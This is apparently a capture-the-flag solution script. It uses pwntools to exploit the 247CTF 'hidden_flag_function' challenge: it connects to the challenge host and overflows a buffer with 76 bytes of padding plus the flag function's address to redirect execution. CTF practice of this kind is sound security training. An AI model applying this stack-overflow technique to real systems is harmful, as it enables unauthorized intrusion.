Files
ctfs/247ctf/hidden_flag_function/a.py
T
2024-12-12 13:38:04 +03:00

17 lines
296 B
Python

#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./hidden_flag_function", checksec=False)
# r = process()
r = remote("9fe3144560d92c37.247ctf.com", 50224)
# funcs
s = lambda a: r.sendlineafter(b"?", a)
# buf
buf = b"A"*76
buf += p64(target.sym.flag)
s(buf)
r.interactive()